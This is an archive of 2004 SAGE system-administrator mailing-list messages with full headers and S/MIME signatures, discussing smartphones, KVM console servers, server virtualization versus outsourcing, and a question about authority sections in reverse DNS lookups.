From sage-members-owner@usenix.org Thu Jan 1 08:22:31 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i01GMU7R026076 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 08:22:30 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i01GMULF026075 for sage-members-outgoing; Thu, 1 Jan 2004 08:22:30 -0800 (PST) In-Reply-To: References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> Mime-Version: 1.0 (Apple Message framework v609) Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-14-177613893; protocol="application/pkcs7-signature" Message-Id: <90FB15FC-3C76-11D8-955E-000A27AF5202@megacity.org> Cc: Daniel Rich , sage-members@usenix.org From: "Derek J. Balling" Subject: Re: [SAGE] ATT Phones Date: Thu, 1 Jan 2004 11:21:33 -0500 To: Brad Knowles X-Mailer: Apple Mail (2.609) Sender: owner-sage-members@usenix.org Precedence: bulk --Apple-Mail-14-177613893 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On Dec 31, 2003, at 9:36 PM, Brad Knowles wrote: > I've been looking long and hard at the sidekick. Do they have > bluetooth? No. > What about third-party software? It's weird. There's a developer program, and if you kiss the right arse, or know someone who knows someone, you can get developer access that also permits you to add programs to the device over a USB cable, but for "standard users" you only have access to the applications that T-Mobile has QC'ed and approved for download over the air. > I've also been looking at the Sony P900 and the Treo 600, both of > which have good third-party software available (Treo better than Sony, > because it's based on Palm and not the UIQ/Symbian/Nokia Series 60 > line), but they don't seem to have keyboards that are as good as the > Sidekick, I don't know... I find the Sidekick keyboard comparable to things like the Blackberry products, and I don't see a lot of difference between the Blackberry keyboard and the Treo for example. > SonyEricsson has had a spotty reputation with regards to their radio > network coverage and telecom stuff, and the Treo doesn't have > bluetooth (in addition to the screen being smaller at 160x160). I've been following this discussion intently because while I love my sidekick DEVICE to death, I live in an area that has absolutely abysmal T-Mobile coverage, so I've been pushing for a different corporate mobile provider, and haven't quite decided what I want to push TOWARDS. ;-) D --Apple-Mail-14-177613893 Content-Transfer-Encoding: base64 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGDCCAtEw ggI6oAMCAQICAwtNODANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDMxMjEwMTU1MTI5WhcNMDQxMjA5MTU1MTI5WjBEMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMSEwHwYJKoZIhvcNAQkBFhJkcmVkZEBtZWdhY2l0eS5v cmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDDQF3ABPxw8BfjBOTQHzfviQrp6NAx wrYFWnYS0zNd1Y5UHwNEwEvg67ORXTa8EzeBoj/QKzEfVq3dnfXkvtOekBeVQGd/nfTo/eiUqcdF +0qLUFgu1myVX+s46i7RIQUNXw6aZbJIacBg+MNGWee2ikNdTADEurIhwCecIBVO6zybqyhRQBHS JhwOtQ1aiF+rLIZxkRp2nOq4p8zaF+MUTnfiqsiIJe1OMYCXE9gRC2Wm+WM5AQ5HJ1Vs0WQKX4Vt OXTYfqR2Z97d/coMXA2YRnS9NPeCnzZRekJJsH91+nvatxItFWI2kEhSxLhYD+TYZdxoJ7QXG74Q Yyhk9V2fAgMBAAGjLzAtMB0GA1UdEQQWMBSBEmRyZWRkQG1lZ2FjaXR5Lm9yZzAMBgNVHRMBAf8E AjAAMA0GCSqGSIb3DQEBBAUAA4GBAD+DUnjt4Z91iTM2HAVA5WXMCsAKdjP0Hrh1OXrHqeu+8pkg NudkaFicEDjNILt85qZpTwdePkGYdInFqhC9dx7Q+4BR+/uWSNFWtjdwL9PvlgZBd8/Md9rGwOMS QdhLPDiimdIUqGAOYWn42cFOvazDVMmXUi7LyTNSHGxNpisBMIIDPzCCAqigAwIBAgIBDTANBgkq hkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UE BxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlm aWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAz MDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0 ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp bCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxVc1X7TrnKmVoeaMB1 BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuFWqo/cVbLrzwLB+fx H5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8YQRAHmQZcmC3+wID AQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL2Ny bC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYDVR0PBAQDAgEGMCkG A1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkqhkiG9w0BAQUFAAOB gQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAgk3A8/a3hYWLD2ToZ foSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbqNOUQGls1TXfjViF4 gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRo YXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVl bWFpbCBJc3N1aW5nIENBAgMLTTgwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcNAQkDMQsGCSqGSIb3 DQEHATAcBgkqhkiG9w0BCQUxDxcNMDQwMTAxMTYyMTM0WjAjBgkqhkiG9w0BCQQxFgQUb9Tbbjg0 CTLPtondZ/BcjVEr/AUweAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMc VGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZy ZWVtYWlsIElzc3VpbmcgQ0ECAwtNODB6BgsqhkiG9w0BCRACCzFroGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMLTTgwDQYJKoZIhvcNAQEBBQAEggEAgvFPhlbD 67zPrhYd2Pu7Y7sMvBsKDai8UCYQIe8O0AcakkVYsF3+B/v+stF2JkKFHWGt1WW8Vx8DIv1sChjP jMzZwpZaVNJiX5Zws+d71hIg6l+/zRuzSGSqpzbXintF3nvgIo1UdWKT+zbPwnyiB91M5UnIScrO ojJh4RbMKwefQgEPu4otBiAkQRSdl22kxGZ7Brkc2d6Vrji1P0iDE6zm11ZrgJPhI39eYaPeOWMQ nXx4pUYYJXwA4d1xuz73EeS7gnT7z/ih6CD9Rs2w10XfYntKwcx3YRQDwYxiTcN6Mi2OW2/J0mpu CRSxFjkLgz7O+r5ZWZwJKEcT3HGRHQAAAAAAAA== --Apple-Mail-14-177613893-- From sage-members-owner@usenix.org Thu Jan 1 08:26:30 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i01GQT7R026158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 08:26:30 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i01GQT26026157 for sage-members-outgoing; Thu, 1 Jan 2004 08:26:29 -0800 (PST) In-Reply-To: References: <29510.1072924002@piquin> Mime-Version: 1.0 (Apple Message framework v609) Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-15-177902656; protocol="application/pkcs7-signature" Message-Id: <3D18C430-3C77-11D8-955E-000A27AF5202@megacity.org> Cc: bergman@merctech.com, sage-members@usenix.org From: "Derek J. Balling" Subject: Re: [SAGE] console server (Raritan or ???) Date: Thu, 1 Jan 2004 11:26:22 -0500 To: Brad Knowles X-Mailer: Apple Mail (2.609) Sender: owner-sage-members@usenix.org Precedence: bulk --Apple-Mail-15-177902656 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On Dec 31, 2003, at 9:58 PM, Brad Knowles wrote: > I got to looking at their IP KVM devices, and they were looking > really good. Until I got to looking at their prices. At one point, > they were offering free hardware to people that bought some of their > lower-end IP KVM switches (as a promotion), and I know from previous > experience that the hardware they were offering was worth thousands of > dollars. If they can afford to knock thousands of dollars off the > prices, it's going to be way out of my ballpark. This was discussed before, but if you like the Raritan PRODUCT, but not the price, then the Dell 2161DS is the product to get, because it is simply a rebranded UMT2161, at about 1/3 to 1/2 the price, IIRC. Standard disclaimers that some people have had Dell Customer Service horror stories, but I can say that *we* haven't, and are extremely happy with our 2161DS. ;) D --Apple-Mail-15-177902656 Content-Transfer-Encoding: base64 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGDCCAtEw ggI6oAMCAQICAwtNODANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDMxMjEwMTU1MTI5WhcNMDQxMjA5MTU1MTI5WjBEMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMSEwHwYJKoZIhvcNAQkBFhJkcmVkZEBtZWdhY2l0eS5v cmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDDQF3ABPxw8BfjBOTQHzfviQrp6NAx wrYFWnYS0zNd1Y5UHwNEwEvg67ORXTa8EzeBoj/QKzEfVq3dnfXkvtOekBeVQGd/nfTo/eiUqcdF +0qLUFgu1myVX+s46i7RIQUNXw6aZbJIacBg+MNGWee2ikNdTADEurIhwCecIBVO6zybqyhRQBHS JhwOtQ1aiF+rLIZxkRp2nOq4p8zaF+MUTnfiqsiIJe1OMYCXE9gRC2Wm+WM5AQ5HJ1Vs0WQKX4Vt OXTYfqR2Z97d/coMXA2YRnS9NPeCnzZRekJJsH91+nvatxItFWI2kEhSxLhYD+TYZdxoJ7QXG74Q Yyhk9V2fAgMBAAGjLzAtMB0GA1UdEQQWMBSBEmRyZWRkQG1lZ2FjaXR5Lm9yZzAMBgNVHRMBAf8E AjAAMA0GCSqGSIb3DQEBBAUAA4GBAD+DUnjt4Z91iTM2HAVA5WXMCsAKdjP0Hrh1OXrHqeu+8pkg NudkaFicEDjNILt85qZpTwdePkGYdInFqhC9dx7Q+4BR+/uWSNFWtjdwL9PvlgZBd8/Md9rGwOMS QdhLPDiimdIUqGAOYWn42cFOvazDVMmXUi7LyTNSHGxNpisBMIIDPzCCAqigAwIBAgIBDTANBgkq hkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UE BxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlm aWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAz MDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0 ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp bCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxVc1X7TrnKmVoeaMB1 BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuFWqo/cVbLrzwLB+fx H5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8YQRAHmQZcmC3+wID AQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL2Ny bC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYDVR0PBAQDAgEGMCkG A1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkqhkiG9w0BAQUFAAOB gQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAgk3A8/a3hYWLD2ToZ foSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbqNOUQGls1TXfjViF4 gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRo YXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVl bWFpbCBJc3N1aW5nIENBAgMLTTgwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcNAQkDMQsGCSqGSIb3 DQEHATAcBgkqhkiG9w0BCQUxDxcNMDQwMTAxMTYyNjIzWjAjBgkqhkiG9w0BCQQxFgQUl9vVMqvl xP0sGiwNLpD257puxAIweAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMc VGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZy ZWVtYWlsIElzc3VpbmcgQ0ECAwtNODB6BgsqhkiG9w0BCRACCzFroGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMLTTgwDQYJKoZIhvcNAQEBBQAEggEADARTnTRM EVLofmw5eh5w+LEEN5nNAG1wA1h0njovZIXUW4QCecVeddEX8Tn1FQ/R1rrLmyWUYUsC/0p6/LZa DxeeTmtwr23i807MFlpVTYpBg5Ky8ptpdXL7CbGWsMnDbAFZLts824asnjPB7x4JcgMkPTO46aPz O/vXdwA1q9bOuZVG/Uva0hmqp2F5GCjx79FDyQMVrC/k6cCw1icGENek8JlyVfPBvPRadh695fIw g7iNjNZAkbto0Unll+Mc4lG2n9x3UdUVBp9TWAiXgkBccuEAjW+uLHhFSfS1lgFrqPgRDQhLBnQG nyjRa74bp5mgiaFxWKYkFhk3mpm9XAAAAAAAAA== --Apple-Mail-15-177902656-- From sage-members-owner@usenix.org Thu Jan 1 08:49:11 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i01GnA7R027044 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 08:49:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i01GnAnJ027043 for sage-members-outgoing; Thu, 1 Jan 2004 08:49:10 -0800 (PST) Message-Id: <200401011648.i01Gmv720839@mercury.ihwy.net> From: "John Arrasjid" To: "'Scott Burch'" , Subject: RE: [SAGE] Build versus Buy IT Date: Thu, 1 Jan 2004 08:52:25 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: <1072799826.7585.24.camel@localhost> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Thread-Index: AcPO71vZNCIV6OpQSw617ZtPUjIZkABl8nNg Sender: owner-sage-members@usenix.org Precedence: bulk Have you considered virtualizing your servers to cut costs in the following areas? 1) Total number of servers. 2) Reduced maintenance costs due to reduced servers. 3) Reduced power and AC consumption. 4) Reduced rack space and server room space. 5) Reduced rollout costs. FYI: I have been using VMware products now since about 1999 and am currently working for VMware. I have seen many IT groups reduce their operating costs, reduce the time and cost of new server rollouts, and help minimize the impact to the IT staff. FYI-2: You still need to pay for licensing if you are using licensed OS's. You also still need to maintain the number of OS's rolled out. Virtualization puts the IT group in a more proactive, reduced cost environment. john -----Original Message----- From: owner-sage-members@usenix.org [mailto:owner-sage-members@usenix.org] On Behalf Of Scott Burch Sent: Tuesday, December 30, 2003 7:57 AM To: sage-members@usenix.org Subject: [SAGE] Build versus Buy IT Hello, Currently where I work the IT organization is faced with the task of building a new data center (large significant expense..the data center(s) currently are at capicity in terms of space and power..we have thousands of servers and about 30,000 employees globally) or potentially outsourcing the entire corporate IT infrastructure (data center, UNIX, Intel (Windows), etc.) organization to a vendor such as IBM. I am not directly involved in the project, however I know that cost ways heavily in the decision. The general consensus is that if a vendor can claim to do things cheaper then that is probably how the company will go. There are already certain projects that have been outsourced, and those projects have not gone as well as planned (in terms of cost and time to completion). One of the main people responsible for this project has asked that if anyone has had negative experiences with outsourcing on a large scale he would like to speak with them...so am asking if any of you would be willing to speak with him about this or point me to some good articles.I don't think many people take the outsourcing idea very seriously, but I think they are mistaken. Unfortunately I think many have grown complacecent do to the overall success of the company they work for. The company does very well financially, but IT is not their core business, so I can see whay outsourcing would be strongly considered. Currently the IT organization is heavily employee weighted, however some larger projects are outsourced, and there continues to be heavy use of offshore support for application support/development. I'm just trying to look out for my fellow employees. I had been a consultant/contractor for 4.5 years before becoming an employee of this company about 3 years ago. I also was on the job market in early 2001 when things were really bad, so I don't envy anyone entering the IT job market. Looking around at the IT organization here I see groups that have been locked into job responsibilites that are simply reactive/repetitive tasks..these people I believe are in jeopardy of losing their jobs to outsourcing first. I work in the group that deploys/supports the UNIX infrastructure. I believe we provide lots of value add, so I think we would be retained even if outsourcing is the decision. Any input and thoughts you could provide would be greatly appreciated. The guy heading up this project from the IT side would be willing to speak directly with anyone who has been involved with this type of decision before. -Scott -- Scott Burch From sage-members-owner@usenix.org Thu Jan 1 21:10:18 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i025AI7R010652 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 21:10:18 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i025AI5a010651 for sage-members-outgoing; Thu, 1 Jan 2004 21:10:18 -0800 (PST) Message-ID: <3FF4FD33.3080805@cox.net> Date: Thu, 01 Jan 2004 21:10:11 -0800 From: Mike Noble User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: [SAGE] Question on DNS and reverse lookups X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk When I do a dig on my domain name, I get the following: ; <<>> DiG 9.2.3rc2 <<>> rfmagic.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2338 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0 ;; QUESTION SECTION: ;rfmagic.com. IN A ;; ANSWER SECTION: rfmagic.com. 3600 IN A 64.66.31.205 ;; AUTHORITY SECTION: rfmagic.com. 3600 IN NS ns2.rfmagic.com. rfmagic.com. 3600 IN NS ns1.rfmagic.com. ;; Query time: 43 msec ;; SERVER: 68.6.16.25#53(68.6.16.25) ;; WHEN: Thu Jan 1 21:06:24 2004 ;; MSG SIZE rcvd: 81 Now if I do a reverse on the address, I get: ; <<>> DiG 9.2.3rc2 <<>> -x 64.66.31.205 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44361 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 1 ;; QUESTION SECTION: ;205.31.66.64.in-addr.arpa. IN PTR ;; ANSWER SECTION: 205.31.66.64.in-addr.arpa. 86208 IN PTR mhrf.rf-magic.com. ;; AUTHORITY SECTION: 31.66.64.in-addr.arpa. 86208 IN NS ns1.4d.net. 31.66.64.in-addr.arpa. 86208 IN NS ns2.4d.net. ;; ADDITIONAL SECTION: ns1.4d.net. 85821 IN A 64.66.0.10 ;; Query time: 14 msec ;; SERVER: 68.6.16.25#53(68.6.16.25) ;; WHEN: Thu Jan 1 21:07:13 2004 ;; MSG SIZE rcvd: 132 With the reverse I get a different Authority section. Why would the reverse give a different Authority section? Thanks, Mike From sage-members-owner@usenix.org Thu Jan 1 22:12:24 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i026CO7R011418 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 22:12:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i026CO16011417 for sage-members-outgoing; Thu, 1 Jan 2004 22:12:24 -0800 (PST) Message-ID: <3FF50BC0.10304@camberwind.com> Date: Fri, 02 Jan 2004 00:12:16 -0600 From: Scott Burch User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: John Arrasjid Cc: sage-members@usenix.org Subject: Re: [SAGE] Build versus Buy IT References: <200401011648.i01Gmv720839@mercury.ihwy.net> In-Reply-To: <200401011648.i01Gmv720839@mercury.ihwy.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk John Arrasjid wrote: >Have you considered virtualizing your servers to cut costs in the following >areas? > > This is certainly being considered on the Intel side. The use of blade servers could substantially reduce power consumption, and obviously VMware could be used to consolidate many idle application servers. On the UNIX side we have done as much as we currently can in terms of consolidation/virtualization with our exisiting infrastructure. We consolidate many JAVA based enterprise applications on Web Logic clusters. We have heavily consolidated Oracle instances on several large clustered servers (this can be good and bad). There is great opportunity to consolidate many other smaller applications into virtualized environments. From recent NDA discussions with IBM they will allow the greatest flexibility for virtualization with AIX 5.3 and the Power 5 architecture. We are primarily Solaris, so we will have to closely examine how Solaris Containers compares with the upcoming expanded features of 5.3 and Power 5 (Unfortuantely I'm not at liberty to discuss those changes here). To do what we need on the UNIX side we need the newer software virtualization features that are not fully available currently. Of course we have many hardware partitioned Solaris boxes, but these are not really cost effective. The multi-cpu board type Solaris boxes are really supposed to be used to run large applications/data-sets. To buy a 15K, etc. and carve up into little machines is not very cost effective. The features of AIX that allow for multiple OS instances and dynamic resource sharing amongst those images is something that we could really use...and around June of this year there will be much more granularity in terms of how you can carve up the resources. -Scott >1) Total number of servers. >2) Reduced maintenance costs due to reduced servers. >3) Reduced power and AC consumption. >4) Reduced rack space and server room space. >5) Reduced rollout costs. > >FYI: I have been using VMware products now since about 1999 and am currently >working for VMware. I have seen many IT groups reduce their operating costs, >reduce the time and cost of new server rollouts, and help minimize the >impact to the IT staff. > >FYI-2: You still need to pay for licensing if you are using licensed OS's. >You also still need to maintain the number of OS's rolled out. >Virtualization puts the IT group in a more proactive, reduced cost >environment. > >john > > > From sage-members-owner@usenix.org Thu Jan 1 22:13:41 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i026De7R011533 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 22:13:41 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i026DeDj011532 for sage-members-outgoing; Thu, 1 Jan 2004 22:13:40 -0800 (PST) Message-ID: <35004.192.168.128.30.1073024004.squirrel@192.168.128.30> In-Reply-To: <3FF4FD33.3080805@cox.net> References: <3FF4FD33.3080805@cox.net> Date: Thu, 1 Jan 2004 22:13:24 -0800 (PST) Subject: Re: [SAGE] Question on DNS and reverse lookups From: "Robert Hajime Lanning" To: sage-members@usenix.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk ns1.rfmagic.com and ns2.rfmagic.com are listed as authoritative servers for the rfmagic.com domain. while... ns1.4d.net and ns2.4d.net are listed as authoritative servers for the 31.66.64.in-addr.arpa domain. Two different domains, two different sets of authoritative servers. It basicaly comes down to, who owns the domain rfmagic.com vs. who owns the 64.66.31.0/24 subnet. > When I do a dig on my domain name, I get the following: > > ; <<>> DiG 9.2.3rc2 <<>> rfmagic.com > ;; global options: printcmd > ;; Got answer: > ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2338 > ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0 > > ;; QUESTION SECTION: > ;rfmagic.com. IN A > > ;; ANSWER SECTION: > rfmagic.com. 3600 IN A 64.66.31.205 > > ;; AUTHORITY SECTION: > rfmagic.com. 3600 IN NS ns2.rfmagic.com. > rfmagic.com. 3600 IN NS ns1.rfmagic.com. > > ;; Query time: 43 msec > ;; SERVER: 68.6.16.25#53(68.6.16.25) > ;; WHEN: Thu Jan 1 21:06:24 2004 > ;; MSG SIZE rcvd: 81 > > Now if I do a reverse on the address, I get: > > ; <<>> DiG 9.2.3rc2 <<>> -x 64.66.31.205 > ;; global options: printcmd > ;; Got answer: > ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44361 > ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 1 > > ;; QUESTION SECTION: > ;205.31.66.64.in-addr.arpa. IN PTR > > ;; ANSWER SECTION: > 205.31.66.64.in-addr.arpa. 86208 IN PTR mhrf.rf-magic.com. > > ;; AUTHORITY SECTION: > 31.66.64.in-addr.arpa. 86208 IN NS ns1.4d.net. > 31.66.64.in-addr.arpa. 86208 IN NS ns2.4d.net. > > ;; ADDITIONAL SECTION: > ns1.4d.net. 85821 IN A 64.66.0.10 > > ;; Query time: 14 msec > ;; SERVER: 68.6.16.25#53(68.6.16.25) > ;; WHEN: Thu Jan 1 21:07:13 2004 > ;; MSG SIZE rcvd: 132 > > > With the reverse I get a different Authority section. > Why would the reverse give a different Authority section? > > Thanks, > Mike > > -- END OF LINE -MCP From sage-members-owner@usenix.org Thu Jan 1 23:19:06 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i027J57R012616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Jan 2004 23:19:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i027J5TJ012615 for sage-members-outgoing; Thu, 1 Jan 2004 23:19:05 -0800 (PST) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <3D18C430-3C77-11D8-955E-000A27AF5202@megacity.org> References: <29510.1072924002@piquin> <3D18C430-3C77-11D8-955E-000A27AF5202@megacity.org> Date: Fri, 2 Jan 2004 01:10:39 -0600 To: "Derek J. Balling" From: Brad Knowles Subject: Re: [SAGE] console server (Raritan or ???) Cc: Brad Knowles , bergman@merctech.com, sage-members@usenix.org Content-Type: text/plain; 